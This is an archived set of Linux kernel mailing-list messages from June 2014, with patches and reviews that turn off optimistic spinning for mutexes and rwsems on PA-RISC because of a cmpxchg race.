X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Fri, 6 Jun 2014 17:06:07 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20140606150607.GT13930@laptop.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1402067192 23172 80.91.229.3 (6 Jun 2014 15:06:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 15:06:32 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>, mingo@kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 17:06:23 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wsvij-0007Av-UK
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Jun 2014 17:06:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751692AbaFFPGO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2014 11:06:14 -0400
Original-Received: from casper.infradead.org ([85.118.1.10]:57991 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751608AbaFFPGO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2014 11:06:14 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=laptop)
	by casper.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Wsvib-0005Ag-69; Fri, 06 Jun 2014 15:06:09 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id 7AC2B1035CED7; Fri,  6 Jun 2014 17:06:07 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5875 gmane.linux.kernel:1720054
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5875>

On Mon, Jun 02, 2014 at 10:09:35AM -0700, Linus Torvalds wrote:
> On Mon, Jun 2, 2014 at 9:25 AM, Peter Zijlstra <peterz@infradead.org> wrote:
> >
> > And I can't say I'm a particular fan of these ops either, as alternative
> > I'm almost inclined to just exclude parisc from using opt spinning.
> 
> Please do.

Something like so; if the rwsem stuff lands in .15 we need more for
that, it doesn't have a convenient CONFIG symbol like this.

Linus will you take this from email, or should I get it through
tip/locking/urgent or so?

---
Subject: locking, mutex: Disable optimistic spinning for PA-RISC

PA-RISC's cmpxchg is not save against normal stores and the code used
for optimistic spinning is known broken because of this.

Disable for now.

Reported-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Peter Zijlstra <peterz@infradead.org>
---
 kernel/Kconfig.locks | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/kernel/Kconfig.locks b/kernel/Kconfig.locks
index 35536d9c0964..9c239e080c2d 100644
--- a/kernel/Kconfig.locks
+++ b/kernel/Kconfig.locks
@@ -222,7 +222,7 @@ endif
 
 config MUTEX_SPIN_ON_OWNER
 	def_bool y
-	depends on SMP && !DEBUG_MUTEXES
+	depends on SMP && !DEBUG_MUTEXES && !PARISC
 
 config ARCH_USE_QUEUE_RWLOCK
 	bool
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Fri, 6 Jun 2014 08:15:18 -0700
Lines: 52
Approved: news@gmane.org
Message-ID: <20140606151518.GI4581@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
 <20140606150607.GT13930@laptop.programming.kicks-ass.net>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1402067736 30346 80.91.229.3 (6 Jun 2014 15:15:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 15:15:36 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>, mingo@kernel.org
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 17:15:27 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wsvrb-0003pT-2m
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Jun 2014 17:15:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751800AbaFFPP0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2014 11:15:26 -0400
Original-Received: from e35.co.us.ibm.com ([32.97.110.153]:56054 "EHLO
	e35.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751783AbaFFPPY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2014 11:15:24 -0400
Original-Received: from /spool/local
	by e35.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Fri, 6 Jun 2014 09:15:24 -0600
Original-Received: from d03dlp02.boulder.ibm.com (9.17.202.178)
	by e35.co.us.ibm.com (192.168.1.135) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Fri, 6 Jun 2014 09:15:21 -0600
Original-Received: from b03cxnp07029.gho.boulder.ibm.com (b03cxnp07029.gho.boulder.ibm.com [9.17.130.16])
	by d03dlp02.boulder.ibm.com (Postfix) with ESMTP id B077E3E40040;
	Fri,  6 Jun 2014 09:15:20 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp07029.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s56DBvXb9175296;
	Fri, 6 Jun 2014 15:11:57 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s56FJKTv027022;
	Fri, 6 Jun 2014 09:19:22 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s56FJK25026996;
	Fri, 6 Jun 2014 09:19:20 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 37CFD385FB8; Fri,  6 Jun 2014 08:15:18 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20140606150607.GT13930@laptop.programming.kicks-ass.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060615-6688-0000-0000-000002631B87
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5876 gmane.linux.kernel:1720061
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5876>

On Fri, Jun 06, 2014 at 05:06:07PM +0200, Peter Zijlstra wrote:
> On Mon, Jun 02, 2014 at 10:09:35AM -0700, Linus Torvalds wrote:
> > On Mon, Jun 2, 2014 at 9:25 AM, Peter Zijlstra <peterz@infradead.org> wrote:
> > >
> > > And I can't say I'm a particular fan of these ops either, as alternative
> > > I'm almost inclined to just exclude parisc from using opt spinning.
> > 
> > Please do.
> 
> Something like so; if the rwsem stuff lands in .15 we need more for
> that, it doesn't have a convenient CONFIG symbol like this.
> 
> Linus will you take this from email, or should I get it through
> tip/locking/urgent or so?
> 
> ---
> Subject: locking, mutex: Disable optimistic spinning for PA-RISC
> 
> PA-RISC's cmpxchg is not save against normal stores and the code used
> for optimistic spinning is known broken because of this.
> 
> Disable for now.
> 
> Reported-by: Mikulas Patocka <mpatocka@redhat.com>
> Signed-off-by: Peter Zijlstra <peterz@infradead.org>

Reviewed-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>

> ---
>  kernel/Kconfig.locks | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/kernel/Kconfig.locks b/kernel/Kconfig.locks
> index 35536d9c0964..9c239e080c2d 100644
> --- a/kernel/Kconfig.locks
> +++ b/kernel/Kconfig.locks
> @@ -222,7 +222,7 @@ endif
> 
>  config MUTEX_SPIN_ON_OWNER
>  	def_bool y
> -	depends on SMP && !DEBUG_MUTEXES
> +	depends on SMP && !DEBUG_MUTEXES && !PARISC
> 
>  config ARCH_USE_QUEUE_RWLOCK
>  	bool
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davidlohr Bueso <davidlohr@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Fri, 06 Jun 2014 08:42:19 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <1402069339.14433.0.camel@buesod1.americas.hpqcorp.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
	 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
	 <20140606150607.GT13930@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402069371 18510 80.91.229.3 (6 Jun 2014 15:42:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 15:42:51 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>, mingo@kernel.org
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 17:42:41 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WswHw-0001yL-HQ
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 17:42:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752100AbaFFPma (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 11:42:30 -0400
Original-Received: from g2t2354.austin.hp.com ([15.217.128.53]:44758 "EHLO
	g2t2354.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752005AbaFFPm3 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 11:42:29 -0400
Original-Received: from g2t2360.austin.hp.com (g2t2360.austin.hp.com [16.197.8.247])
	by g2t2354.austin.hp.com (Postfix) with ESMTP id 613E6196;
	Fri,  6 Jun 2014 15:42:27 +0000 (UTC)
Original-Received: from [16.212.160.243] (unknown [16.212.160.243])
	by g2t2360.austin.hp.com (Postfix) with ESMTP id 9496A46;
	Fri,  6 Jun 2014 15:42:22 +0000 (UTC)
In-Reply-To: <20140606150607.GT13930@laptop.programming.kicks-ass.net>
X-Mailer: Evolution 3.6.4 (3.6.4-3.fc18) 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720082 gmane.linux.ports.parisc:5877
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720082>

On Fri, 2014-06-06 at 17:06 +0200, Peter Zijlstra wrote:
> On Mon, Jun 02, 2014 at 10:09:35AM -0700, Linus Torvalds wrote:
> > On Mon, Jun 2, 2014 at 9:25 AM, Peter Zijlstra <peterz@infradead.org> wrote:
> > >
> > > And I can't say I'm a particular fan of these ops either, as alternative
> > > I'm almost inclined to just exclude parisc from using opt spinning.
> > 
> > Please do.
> 
> Something like so; if the rwsem stuff lands in .15 we need more for
> that, it doesn't have a convenient CONFIG symbol like this.
> 
> Linus will you take this from email, or should I get it through
> tip/locking/urgent or so?
> 
> ---
> Subject: locking, mutex: Disable optimistic spinning for PA-RISC
> 
> PA-RISC's cmpxchg is not save against normal stores and the code used
> for optimistic spinning is known broken because of this.
> 
> Disable for now.

I almost hit the send button :)

> 
> Reported-by: Mikulas Patocka <mpatocka@redhat.com>
> Signed-off-by: Peter Zijlstra <peterz@infradead.org>
> ---

Reviewed-by: Davidlohr Bueso <davidlohr@hp.com>


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davidlohr Bueso <davidlohr@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 0/2] locking/rwsem: disable optimistic spinning for PA-RISC
Date: Fri,  6 Jun 2014 08:55:38 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1402070174 28729 80.91.229.3 (6 Jun 2014 15:56:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 15:56:14 +0000 (UTC)
Cc: mpatocka@redhat.com, torvalds@linux-foundation.org,
	jason.low2@hp.com, waiman.long@hp.com, jejb@parisc-linux.org,
	paulmck@linux.vnet.ibm.com, dave.anglin@bell.net, aswin@hp.com,
	davidlohr@hp.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: peterz@infradead.org, mingo@kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 17:56:05 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WswUs-0000r0-PD
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Jun 2014 17:56:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752087AbaFFP4B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2014 11:56:01 -0400
Original-Received: from g4t3427.houston.hp.com ([15.201.208.55]:30523 "EHLO
	g4t3427.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751986AbaFFP4A (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2014 11:56:00 -0400
Original-Received: from g4t3433.houston.hp.com (g4t3433.houston.hp.com [16.210.25.219])
	by g4t3427.houston.hp.com (Postfix) with ESMTP id E034D125;
	Fri,  6 Jun 2014 15:55:58 +0000 (UTC)
Original-Received: from buesod1.americas.hpqcorp.net (unknown [16.212.160.243])
	by g4t3433.houston.hp.com (Postfix) with ESMTP id 70AAB4C;
	Fri,  6 Jun 2014 15:55:55 +0000 (UTC)
X-Mailer: git-send-email 1.8.1.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5878 gmane.linux.kernel:1720105
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5878>

Patch 1 adds a much needed CONFIG_RWSEM_SPIN_ON_OWNER option.
Patch 2 is a quick fix to disable optimistic spinning on PA-RISC.

Thanks!

Davidlohr Bueso (2):
  locking/rwsem: Add CONFIG_RWSEM_SPIN_ON_OWNER
  locking/rwsem: Disable optimistic spinning for PA-RISC

 include/linux/rwsem.h  | 4 ++--
 kernel/Kconfig.locks   | 4 ++++
 kernel/locking/rwsem.c | 2 +-
 3 files changed, 7 insertions(+), 3 deletions(-)

-- 
1.8.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davidlohr Bueso <davidlohr@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 1/2] locking/rwsem: Add CONFIG_RWSEM_SPIN_ON_OWNER
Date: Fri,  6 Jun 2014 08:55:39 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <1402070140-15090-2-git-send-email-davidlohr@hp.com>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1402070190 28863 80.91.229.3 (6 Jun 2014 15:56:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 15:56:30 +0000 (UTC)
Cc: mpatocka@redhat.com, torvalds@linux-foundation.org,
	jason.low2@hp.com, waiman.long@hp.com, jejb@parisc-linux.org,
	paulmck@linux.vnet.ibm.com, dave.anglin@bell.net, aswin@hp.com,
	davidlohr@hp.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: peterz@infradead.org, mingo@kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 17:56:22 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WswV8-000167-Ui
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 17:56:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752751AbaFFP4G (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 11:56:06 -0400
Original-Received: from g4t3426.houston.hp.com ([15.201.208.54]:59329 "EHLO
	g4t3426.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751986AbaFFP4D (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 11:56:03 -0400
Original-Received: from g4t3433.houston.hp.com (g4t3433.houston.hp.com [16.210.25.219])
	by g4t3426.houston.hp.com (Postfix) with ESMTP id E98C0291;
	Fri,  6 Jun 2014 15:56:01 +0000 (UTC)
Original-Received: from buesod1.americas.hpqcorp.net (unknown [16.212.160.243])
	by g4t3433.houston.hp.com (Postfix) with ESMTP id 32C1B5B;
	Fri,  6 Jun 2014 15:55:59 +0000 (UTC)
X-Mailer: git-send-email 1.8.1.4
In-Reply-To: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720106 gmane.linux.ports.parisc:5879
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720106>

Just like with mutexes (CONFIG_MUTEX_SPIN_ON_OWNER),
encapsulate the dependencies for rwsem optimistic spinning.
No logical changes here as it continues to depend on both
SMP and the XADD algorithm variant.

Signed-off-by: Davidlohr Bueso <davidlohr@hp.com>
---
 include/linux/rwsem.h  | 4 ++--
 kernel/Kconfig.locks   | 4 ++++
 kernel/locking/rwsem.c | 2 +-
 3 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/include/linux/rwsem.h b/include/linux/rwsem.h
index 8d79708..accdef7 100644
--- a/include/linux/rwsem.h
+++ b/include/linux/rwsem.h
@@ -27,7 +27,7 @@ struct rw_semaphore {
 	long count;
 	raw_spinlock_t wait_lock;
 	struct list_head wait_list;
-#ifdef CONFIG_SMP
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 	/*
 	 * Write owner. Used as a speculative check to see
 	 * if the owner is running on the cpu.
@@ -64,7 +64,7 @@ static inline int rwsem_is_locked(struct rw_semaphore *sem)
 # define __RWSEM_DEP_MAP_INIT(lockname)
 #endif
 
-#if defined(CONFIG_SMP) && !defined(CONFIG_RWSEM_GENERIC_SPINLOCK)
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 #define __RWSEM_INITIALIZER(name)			\
 	{ RWSEM_UNLOCKED_VALUE,				\
 	  __RAW_SPIN_LOCK_UNLOCKED(name.wait_lock),	\
diff --git a/kernel/Kconfig.locks b/kernel/Kconfig.locks
index 35536d9..e4c3162 100644
--- a/kernel/Kconfig.locks
+++ b/kernel/Kconfig.locks
@@ -224,6 +224,10 @@ config MUTEX_SPIN_ON_OWNER
 	def_bool y
 	depends on SMP && !DEBUG_MUTEXES
 
+config RWSEM_SPIN_ON_OWNER
+       def_bool y
+       depends on SMP && RWSEM_XCHGADD_ALGORITHM
+
 config ARCH_USE_QUEUE_RWLOCK
 	bool
 
diff --git a/kernel/locking/rwsem.c b/kernel/locking/rwsem.c
index 42f806d..e2d3bc7 100644
--- a/kernel/locking/rwsem.c
+++ b/kernel/locking/rwsem.c
@@ -12,7 +12,7 @@
 
 #include <linux/atomic.h>
 
-#if defined(CONFIG_SMP) && defined(CONFIG_RWSEM_XCHGADD_ALGORITHM)
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 static inline void rwsem_set_owner(struct rw_semaphore *sem)
 {
 	sem->owner = current;
-- 
1.8.1.4


From - Thu Nov 08 21:10:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davidlohr Bueso <davidlohr@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 2/2] locking/rwsem: Disable optimistic spinning for PA-RISC
Date: Fri,  6 Jun 2014 08:55:40 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <1402070140-15090-3-git-send-email-davidlohr@hp.com>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1402070208 29030 80.91.229.3 (6 Jun 2014 15:56:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 15:56:48 +0000 (UTC)
Cc: mpatocka@redhat.com, torvalds@linux-foundation.org,
	jason.low2@hp.com, waiman.long@hp.com, jejb@parisc-linux.org,
	paulmck@linux.vnet.ibm.com, dave.anglin@bell.net, aswin@hp.com,
	davidlohr@hp.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: peterz@infradead.org, mingo@kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 17:56:40 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WswVR-0001I6-U2
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 17:56:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752766AbaFFP4Z (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 11:56:25 -0400
Original-Received: from g4t3426.houston.hp.com ([15.201.208.54]:59406 "EHLO
	g4t3426.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752310AbaFFP4F (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 11:56:05 -0400
Original-Received: from g4t3433.houston.hp.com (g4t3433.houston.hp.com [16.210.25.219])
	by g4t3426.houston.hp.com (Postfix) with ESMTP id 128DA292;
	Fri,  6 Jun 2014 15:56:05 +0000 (UTC)
Original-Received: from buesod1.americas.hpqcorp.net (unknown [16.212.160.243])
	by g4t3433.houston.hp.com (Postfix) with ESMTP id 3AE9562;
	Fri,  6 Jun 2014 15:56:02 +0000 (UTC)
X-Mailer: git-send-email 1.8.1.4
